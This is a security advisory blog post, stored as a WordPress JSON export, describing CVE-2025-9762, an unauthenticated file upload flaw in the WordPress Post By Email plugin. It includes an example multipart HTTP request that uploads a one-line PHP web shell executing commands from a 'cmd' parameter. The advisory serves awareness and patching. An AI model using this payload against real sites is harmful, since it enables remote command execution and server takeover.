{"id":82020,"date":"2025-10-07T03:36:00","date_gmt":"2025-10-07T03:36:00","guid":{"rendered":""},"modified":"2025-10-22T21:12:48","modified_gmt":"2025-10-23T03:12:48","slug":"cve-2025-9762-critical-file-upload-vulnerability-in-wordpress-post-by-email-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9762-critical-file-upload-vulnerability-in-wordpress-post-by-email-plugin\/","title":{"rendered":"<strong>CVE-2025-9762: Critical File Upload Vulnerability in WordPress Post By Email Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this blog post, we delve into the details of CVE-2025-9762, a critical vulnerability discovered in the WordPress Post By Email plugin. This vulnerability, which stems from a lack of file type validation in a function within the plugin, allows for arbitrary file uploads by unauthenticated attackers.<br \/>\nAny WordPress site using versions 1.0.4b and below of this plugin is at risk, and the impact of this exploit could be devastating &#8211; <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10533-critical-vulnerability-in-firefox-and-thunderbird-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"89385\">potential system<\/a> compromise or data leakage. The severity of this issue is underscored by its CVSS Severity Score of 9.8, categorizing it as a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41672-critical-cybersecurity-threat-exploiting-default-certificates\/\"  data-wpil-monitor-id=\"91255\">critical threat<\/a> that demands immediate attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-9762<br \/>\nSeverity: Critical (9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-12367-system-compromise-via-sensitive-information-exposure-in-vega-master-software\/\"  data-wpil-monitor-id=\"89877\">System Compromise<\/a>, Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-966733502\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8565-unauthorized-access-and-arbitrary-plugin-installation-vulnerability-in-wp-legal-pages-wordpress-plugin\/\"  data-wpil-monitor-id=\"90314\">WordPress Post By Email Plugin<\/a> | Up to and including 1.0.4b<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the missing file type validation in the save_attachments function within the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9693-arbitrary-file-deletion-vulnerability-in-user-meta-user-profile-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"90561\">Post By Email<\/a> plugin. An attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41714-critical-vulnerability-in-upload-endpoint-causing-arbitrary-file-write-and-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"89480\">upload arbitrary files<\/a> to the server, effectively bypassing the plugin&#8217;s security measures. Given the plugin&#8217;s lack of authentication requirements for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57631-sql-injection-vulnerability-in-tduckcloud-v-5-1-file-upload-module\/\"  data-wpil-monitor-id=\"89969\">file uploads<\/a>, the attacker does not need any special privileges or user interaction to carry out this exploit.<br \/>\nThe uploaded files can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55727-remote-code-execution-vulnerability-in-xwiki-remote-macros\/\"  data-wpil-monitor-id=\"89222\">executed remotely<\/a>, making it possible for the attacker to execute arbitrary code on the affected site&#8217;s server. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10534-critical-firefox-and-thunderbird-vulnerability-leading-to-possible-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"89420\">lead to a system compromise<\/a>, allowing the attacker to gain control over the system or result in data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-219483564\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of a malicious HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44594-server-side-request-forgery-ssrf-vulnerability-in-halo-v2-20-17\/\"  data-wpil-monitor-id=\"89806\">request exploiting this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/post-by-email\/save_attachments.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>This example shows an HTTP POST request <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10690-high-risk-unauthorized-file-upload-vulnerability-in-goza-nonprofit-charity-wordpress-theme\/\"  data-wpil-monitor-id=\"90184\">uploading a PHP file<\/a> called &#8220;exploit.php. The PHP file contains a script that allows the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59458-jetbrains-junie-code-execution-vulnerability-through-improper-command-validation\/\"  data-wpil-monitor-id=\"89587\">execution of arbitrary system commands<\/a> sent via the &#8216;cmd&#8217; GET parameter.<br \/>\nPlease note that this is a conceptual example and should not be used for malicious intent. The purpose of sharing this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-39335-critical-information-disclosure-vulnerability-in-mahara\/\"  data-wpil-monitor-id=\"89361\">information is to raise awareness of how the vulnerability<\/a> might be exploited and to emphasize the importance of applying necessary patches or mitigation strategies.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this blog post, we delve into the details of CVE-2025-9762, a critical vulnerability discovered in the WordPress Post By Email plugin. This vulnerability, which stems from a lack of file type validation in a function within the plugin, allows for arbitrary file uploads by unauthenticated attackers. Any WordPress site using versions 1.0.4b and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-82020","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82020","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=82020"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82020\/revisions"}],"predecessor-version":[{"id":84284,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82020\/revisions\/84284"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=82020"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=82020"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=82020"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=82020"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=82020"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=82020"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=82020"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=82020"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=82020"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}